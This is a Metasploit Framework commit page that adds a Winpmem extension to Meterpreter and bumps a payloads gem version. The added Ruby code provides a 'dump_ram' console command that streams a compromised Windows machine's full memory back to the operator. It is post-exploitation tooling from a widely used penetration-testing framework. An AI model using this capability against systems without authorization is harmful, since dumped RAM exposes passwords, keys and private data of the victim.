Skip to content

Commit dcd64e5

Browse files
author
Brent Cook
committed
Land rapid7#7261, Winpmem Meterpreter extension
2 parents 38af03e + fafc749 commit dcd64e5

File tree

5 files changed

+157
-3
lines changed

5 files changed

+157
-3
lines changed

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ PATH
1414
metasploit-concern
1515
metasploit-credential
1616
metasploit-model
17-
metasploit-payloads (= 1.1.28)
17+
metasploit-payloads (= 1.1.29)
1818
metasploit_data_models
1919
metasploit_payloads-mettle (= 0.0.8)
2020
msgpack
@@ -169,7 +169,7 @@ GEM
169169
activemodel (~> 4.2.6)
170170
activesupport (~> 4.2.6)
171171
railties (~> 4.2.6)
172-
metasploit-payloads (1.1.28)
172+
metasploit-payloads (1.1.29)
173173
metasploit_data_models (2.0.6)
174174
activerecord (~> 4.2.6)
175175
activesupport (~> 4.2.6)
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# -*- coding: binary -*-
2+
module Rex
3+
module Post
4+
module Meterpreter
5+
module Extensions
6+
module Winpmem
7+
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
8+
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
9+
end
10+
end
11+
end
12+
end
13+
end
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# -*- coding: binary -*-
2+
3+
require 'rex/post/meterpreter/extensions/winpmem/tlv'
4+
5+
module Rex
6+
module Post
7+
module Meterpreter
8+
module Extensions
9+
module Winpmem
10+
###
11+
#
12+
# This meterpreter extension can be used to capture remote RAM
13+
#
14+
###
15+
class Winpmem < Extension
16+
WINPMEM_ERROR_SUCCESS = 0
17+
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
18+
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
19+
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
20+
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
21+
WINPMEM_ERROR_UNKNOWN = 255
22+
23+
def initialize(client)
24+
super(client, 'winpmem')
25+
26+
client.register_extension_aliases(
27+
[
28+
{
29+
'name' => 'winpmem',
30+
'ext' => self
31+
},
32+
])
33+
end
34+
35+
def dump_ram
36+
request = Packet.create_request('dump_ram')
37+
response = client.send_request(request)
38+
response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)
39+
40+
return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS
41+
42+
memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)
43+
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
44+
45+
raise Exception, "We did not get a channel back!" if channel_id.nil?
46+
#Open the compressed Channel
47+
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
48+
return memory_size, response_code, channel
49+
end
50+
end
51+
end; end; end; end; end
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
# -*- coding: binary -*-
2+
require 'rex/post/meterpreter'
3+
4+
module Rex
5+
module Post
6+
module Meterpreter
7+
module Ui
8+
9+
class Console::CommandDispatcher::Winpmem
10+
11+
Klass = Console::CommandDispatcher::Winpmem
12+
13+
include Console::CommandDispatcher
14+
15+
#
16+
# Name for this dispatcher
17+
#
18+
def name
19+
'Winpmem'
20+
end
21+
22+
#
23+
# List of supported commands.
24+
#
25+
def commands
26+
{
27+
'dump_ram' => 'Dump victim RAM',
28+
}
29+
end
30+
31+
WINPMEM_ERROR_SUCCESS = 0
32+
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
33+
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
34+
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
35+
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
36+
WINPMEM_ERROR_UNKNOWN = 255
37+
38+
def cmd_dump_ram(*args)
39+
unless args[0]
40+
print_error("Usage: dump_ram [output_file]")
41+
return
42+
end
43+
path_raw = args[0]
44+
45+
fd = ::File.new(path_raw, 'wb+')
46+
memory_size, response_code, channel = client.winpmem.dump_ram
47+
case response_code
48+
when WINPMEM_ERROR_FAILED_LOAD_DRIVER
49+
print_error("Failed to load the driver")
50+
return true
51+
when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
52+
print_error("Failed to get the memory geometry")
53+
return true
54+
when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
55+
print_error("Failed to allocate memory")
56+
return true
57+
when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
58+
print_error("Failed to open the meterpreter Channel")
59+
return true
60+
end
61+
print_good("Driver PMEM loaded successfully")
62+
#Arbitrary big buffer size, could be optimized
63+
buffer_size = 2**17
64+
bytes_read = 0
65+
next_message_byte = memory_size / 10
66+
begin
67+
data = channel.read(buffer_size)
68+
until channel.eof
69+
fd.write(data)
70+
bytes_read += data.length
71+
data = channel.read(buffer_size)
72+
if bytes_read >= next_message_byte
73+
print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
74+
next_message_byte += memory_size / 10
75+
end
76+
end
77+
print_status("Download completed")
78+
ensure
79+
print_status("Unloading driver")
80+
fd.close
81+
#Unload the driver on channel close
82+
channel.close
83+
end
84+
return true
85+
end
86+
end
87+
end
88+
end
89+
end
90+
end

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
6565
# are needed when there's no database
6666
spec.add_runtime_dependency 'metasploit-model'
6767
# Needed for Meterpreter
68-
spec.add_runtime_dependency 'metasploit-payloads', '1.1.28'
68+
spec.add_runtime_dependency 'metasploit-payloads', '1.1.29'
6969
# Needed for the next-generation POSIX Meterpreter
7070
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.8'
7171
# Needed by msfgui and other rpc components

0 commit comments

Comments
 (0)